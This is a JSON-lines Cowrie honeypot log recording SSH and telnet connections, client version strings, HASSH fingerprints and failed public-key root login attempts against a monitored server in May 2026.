{"eventid":"cowrie.session.closed","duration":120.00413656234741,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:47.726736Z","src_ip":"152.42.224.71","session":"8c23c6e6d8ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45734,"dst_ip":"10.17.0.5","dst_port":23,"session":"c988367e0860","protocol":"telnet","message":"New connection: 152.42.224.71:45734 (10.17.0.5:23) [session: c988367e0860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:49.004392Z"}
{"eventid":"cowrie.session.closed","duration":48.771698236465454,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:49.649361Z","src_ip":"152.42.224.71","session":"16ebaf0db3b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.264952659606934,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:53.965594Z","src_ip":"152.42.224.71","session":"407eafe2f3b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45744,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5f31a7022db","protocol":"telnet","message":"New connection: 152.42.224.71:45744 (10.17.0.5:23) [session: e5f31a7022db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:12:55.806795Z"}
{"eventid":"cowrie.session.closed","duration":30.30213189125061,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:03.491471Z","src_ip":"152.42.224.71","session":"bfebb6e00b70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43378,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd7176a7732","protocol":"telnet","message":"New connection: 152.42.224.71:43378 (10.17.0.5:23) [session: dbd7176a7732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:04.893554Z"}
{"eventid":"cowrie.session.closed","duration":36.066394090652466,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:12.284854Z","src_ip":"152.42.224.71","session":"776cfd4a6e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.90945768356323,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:13.358726Z","src_ip":"152.42.224.71","session":"490c2ce9b1ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":37658,"dst_ip":"10.17.0.5","dst_port":22,"session":"be728e91e8e3","protocol":"ssh","message":"New connection: 194.59.206.2:37658 (10.17.0.5:22) [session: be728e91e8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:24.204751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:24.208941Z","src_ip":"194.59.206.2","session":"be728e91e8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:24.294414Z","src_ip":"194.59.206.2","session":"be728e91e8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:24.384840Z","src_ip":"194.59.206.2","session":"be728e91e8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.14","src_port":37886,"dst_ip":"10.17.0.5","dst_port":22,"session":"741b84881a82","protocol":"ssh","message":"New connection: 185.255.100.14:37886 (10.17.0.5:22) [session: 741b84881a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.011755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.017200Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.025365Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:19:0d:40:3b:d3:e2:09:5f:63:99:05:e4:3b:96:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ4eHVb74I+gYQjp/hoxA9belofBXC8tZSzoTlnd0xK7eFva/zfmtYtRqAts5rfnL/dy6UXxZpw7edtntoD8FytbxgWyZOaTXYdG2TDl5a7C3kNFsuki6jTutk7jAB8KkihKiNDg3w6S9DROIOJEp1gdeBD0aZ4jSM7nTtRcHpU82gUJBW7miOwlIxDShp3QNWkrDQazWOwBysAAQJWb5JQ+9zfmhgFuJszvNOvs0EbQ6Lsc86kkOKtOU/AMbBjPqwFCDoxYLg0nKDfD7q7kPspTketvuE8QBrgaMoRrrHzddCzpXX1jyM3ZnnDi8gDupLuA5EiHGCq8xuJxImvBR9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:19:0d:40:3b:d3:e2:09:5f:63:99:05:e4:3b:96:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.044630Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:19:0d:40:3b:d3:e2:09:5f:63:99:05:e4:3b:96:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ4eHVb74I+gYQjp/hoxA9belofBXC8tZSzoTlnd0xK7eFva/zfmtYtRqAts5rfnL/dy6UXxZpw7edtntoD8FytbxgWyZOaTXYdG2TDl5a7C3kNFsuki6jTutk7jAB8KkihKiNDg3w6S9DROIOJEp1gdeBD0aZ4jSM7nTtRcHpU82gUJBW7miOwlIxDShp3QNWkrDQazWOwBysAAQJWb5JQ+9zfmhgFuJszvNOvs0EbQ6Lsc86kkOKtOU/AMbBjPqwFCDoxYLg0nKDfD7q7kPspTketvuE8QBrgaMoRrrHzddCzpXX1jyM3ZnnDi8gDupLuA5EiHGCq8xuJxImvBR9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.048120Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:be:22:da:86:b0:3b:cb:91:a3:f1:f0:90:f8:36:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY3VEubq8IkQapw6/lYw1ScMqfaomITfuhNxhTM3O4GIHihfpjQWFElTh6Uqrb53ifNwiTYQLyYMgMv1UgVdyVZ2yiYf1ksQUip5oCXT3g1efWvW5yh/6Ljr9mgHCMShgprKqt1caQ35PCWXy4SlqrqwpshJEM5SIId/I29Kl0R2S+wrQ9+M1oA1ZN3o1AJzRwJWfpmhxav4K2OZ/nvZqHQYiKLu3mx/IAC//B6DKBu2U0B8lTHGy6fStnxKAggTO5YcBhIkrEI5HqC4nyO3DibQRgsf8IV42r9T+oi+BG/e1rlsyBsDg4GYcCOBXyeYx6Ub77LFbsCQvLukCRbQUz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:be:22:da:86:b0:3b:cb:91:a3:f1:f0:90:f8:36:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.054904Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:be:22:da:86:b0:3b:cb:91:a3:f1:f0:90:f8:36:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY3VEubq8IkQapw6/lYw1ScMqfaomITfuhNxhTM3O4GIHihfpjQWFElTh6Uqrb53ifNwiTYQLyYMgMv1UgVdyVZ2yiYf1ksQUip5oCXT3g1efWvW5yh/6Ljr9mgHCMShgprKqt1caQ35PCWXy4SlqrqwpshJEM5SIId/I29Kl0R2S+wrQ9+M1oA1ZN3o1AJzRwJWfpmhxav4K2OZ/nvZqHQYiKLu3mx/IAC//B6DKBu2U0B8lTHGy6fStnxKAggTO5YcBhIkrEI5HqC4nyO3DibQRgsf8IV42r9T+oi+BG/e1rlsyBsDg4GYcCOBXyeYx6Ub77LFbsCQvLukCRbQUz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.058861Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:1e:90:51:a5:76:46:56:cd:28:2b:f7:f1:48:fe:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2oW4JUyYD+MYd0EMRdsUZS1tqlFrWzQdfoKYuAB2LuuVLGDXi36JYjk6axdACWsRPD1lyxb3AJ0yN8cUicfrx6hd1KKsTVuxdfPGTK86o9+EEyT6wgF5NzVnpN7Hm3yPQ0LhOftUsowuqdNrwcGHAflmIp5dAx44Yybzh5aWkgr+ej/OfFy7UBrLoaIQWlkowIbdCgu2RJ7RRX0VsFPI6uezcsqgDR74YYTB9l9OKdb7FULU95okQM5twVsQpu+1yqteU+GsLhMNm3U95lXcw5scS4QN1NHcYnk+ydkjPnpoIyMvTnwekBOGWYN1gTVBEvrIS7VUDNAbHLGPp7hmmhUcEZcSUJlEjEX5/T4aWPGotJXwYKxFDWUbDjye9JOX3oaq+YMDakwgRiE1EpHQUi9ekTw3mw93bePGxXf2cKuCjJrAkpiNMeaZeuclts3xD6f9m9fc2s7OjY2bslOpKMjxqCVl1h2rKgyrUzOZsuOX1/UGOfilbB1M1ddRscIa1zkMCMK/JQaWJUNTVX9lP2gm9a9Lc9oSumTNohO9Po4jJuRthb1go98AGDjs/sw3xgg1kLQuSl8UrtJlaifz1i4HUI5pkudmwQP3lTD92NcdHvjyb/ZZet1TFG1Sf3uub2Lv6naMewbHw/TkBxbSV6wHY9EfCmCD30hyq6+RSlw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:1e:90:51:a5:76:46:56:cd:28:2b:f7:f1:48:fe:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.067162Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:1e:90:51:a5:76:46:56:cd:28:2b:f7:f1:48:fe:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2oW4JUyYD+MYd0EMRdsUZS1tqlFrWzQdfoKYuAB2LuuVLGDXi36JYjk6axdACWsRPD1lyxb3AJ0yN8cUicfrx6hd1KKsTVuxdfPGTK86o9+EEyT6wgF5NzVnpN7Hm3yPQ0LhOftUsowuqdNrwcGHAflmIp5dAx44Yybzh5aWkgr+ej/OfFy7UBrLoaIQWlkowIbdCgu2RJ7RRX0VsFPI6uezcsqgDR74YYTB9l9OKdb7FULU95okQM5twVsQpu+1yqteU+GsLhMNm3U95lXcw5scS4QN1NHcYnk+ydkjPnpoIyMvTnwekBOGWYN1gTVBEvrIS7VUDNAbHLGPp7hmmhUcEZcSUJlEjEX5/T4aWPGotJXwYKxFDWUbDjye9JOX3oaq+YMDakwgRiE1EpHQUi9ekTw3mw93bePGxXf2cKuCjJrAkpiNMeaZeuclts3xD6f9m9fc2s7OjY2bslOpKMjxqCVl1h2rKgyrUzOZsuOX1/UGOfilbB1M1ddRscIa1zkMCMK/JQaWJUNTVX9lP2gm9a9Lc9oSumTNohO9Po4jJuRthb1go98AGDjs/sw3xgg1kLQuSl8UrtJlaifz1i4HUI5pkudmwQP3lTD92NcdHvjyb/ZZet1TFG1Sf3uub2Lv6naMewbHw/TkBxbSV6wHY9EfCmCD30hyq6+RSlw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.070882Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:53:20:0e:e4:d4:9b:e1:59:ca:80:82:5b:9b:34:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUi9qu67AG5mxTzXiiQoX5dEhErqoC5MAqMYCN1wwLDLPpSgbJHGj8me3nze7ef2H39UANsIG8+3kuiMkmbqfd/YIvDl8Bnw7dTAo4hq+8almGi2vnan+GokDmzj4UvItNEaHDabI7qFmTkniharTJXhalfljcYCJ4DeV0XEVI8FJzgajBbpkeBUgb3z3T6CFtoyZIZ8fGH2Dj2AbjGRpDqPreTymgfy1l7n4dK1JebxhoYFWaITggidpHEUr4kNS0XgoAfX5G1V+0hv8agdIhm3Ah7SCzhJEJsuTeaWauX6ekCP3H0hu9E27g0qiYyKeTIh1/8Cjc7qvVxImq/En9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:53:20:0e:e4:d4:9b:e1:59:ca:80:82:5b:9b:34:cc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.081750Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:53:20:0e:e4:d4:9b:e1:59:ca:80:82:5b:9b:34:cc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUi9qu67AG5mxTzXiiQoX5dEhErqoC5MAqMYCN1wwLDLPpSgbJHGj8me3nze7ef2H39UANsIG8+3kuiMkmbqfd/YIvDl8Bnw7dTAo4hq+8almGi2vnan+GokDmzj4UvItNEaHDabI7qFmTkniharTJXhalfljcYCJ4DeV0XEVI8FJzgajBbpkeBUgb3z3T6CFtoyZIZ8fGH2Dj2AbjGRpDqPreTymgfy1l7n4dK1JebxhoYFWaITggidpHEUr4kNS0XgoAfX5G1V+0hv8agdIhm3Ah7SCzhJEJsuTeaWauX6ekCP3H0hu9E27g0qiYyKeTIh1/8Cjc7qvVxImq/En9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.085337Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"90:a4:e7:e3:84:09:f7:16:22:23:8e:30:2d:ee:46:14","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYds9rvv2ASRK+k0WF5RCXFedmqRNXQoGaFmShmqRfR","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 90:a4:e7:e3:84:09:f7:16:22:23:8e:30:2d:ee:46:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.095169Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"90:a4:e7:e3:84:09:f7:16:22:23:8e:30:2d:ee:46:14","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYds9rvv2ASRK+k0WF5RCXFedmqRNXQoGaFmShmqRfR","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.098654Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.106307Z","src_ip":"185.255.100.14","session":"741b84881a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":51166,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b5d953fe34f","protocol":"ssh","message":"New connection: 47.237.167.49:51166 (159.203.135.109:22) [session: 1b5d953fe34f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:31.904721Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48276,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e26cdf42fa3","protocol":"telnet","message":"New connection: 152.42.224.71:48276 (10.17.0.5:23) [session: 8e26cdf42fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:35.499321Z"}
{"eventid":"cowrie.session.closed","duration":53.90153408050537,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:38.408784Z","src_ip":"152.42.224.71","session":"c5bb9b2fd525","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:42.561713Z","src_ip":"47.237.167.49","session":"1b5d953fe34f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:42.797681Z","src_ip":"47.237.167.49","session":"1b5d953fe34f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56450,"dst_ip":"10.17.0.5","dst_port":23,"session":"650ef7a1eded","protocol":"telnet","message":"New connection: 152.42.224.71:56450 (10.17.0.5:23) [session: 650ef7a1eded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:43.687768Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"a504f96fc0c0","protocol":"telnet","message":"New connection: 152.42.224.71:56456 (10.17.0.5:23) [session: a504f96fc0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:45.596067Z"}
{"eventid":"cowrie.session.closed","duration":45.61292839050293,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:50.506342Z","src_ip":"152.42.224.71","session":"dbd7176a7732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef5ec0211d8e","protocol":"telnet","message":"New connection: 152.42.224.71:46902 (10.17.0.5:23) [session: ef5ec0211d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:51.676477Z"}
{"eventid":"cowrie.session.closed","duration":57.013121366500854,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:52.819741Z","src_ip":"152.42.224.71","session":"e5f31a7022db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":57390,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d2fde88cb47","protocol":"ssh","message":"New connection: 103.27.238.114:57390 (10.17.0.5:22) [session: 1d2fde88cb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.045771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.050698Z","src_ip":"103.27.238.114","session":"1d2fde88cb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":34804,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbe39a4ce479","protocol":"ssh","message":"New connection: 170.238.160.191:34804 (159.203.135.109:22) [session: fbe39a4ce479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.108884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:13:54.114852Z","src_ip":"170.238.160.191","session":"fbe39a4ce479","protocol":"ssh"}
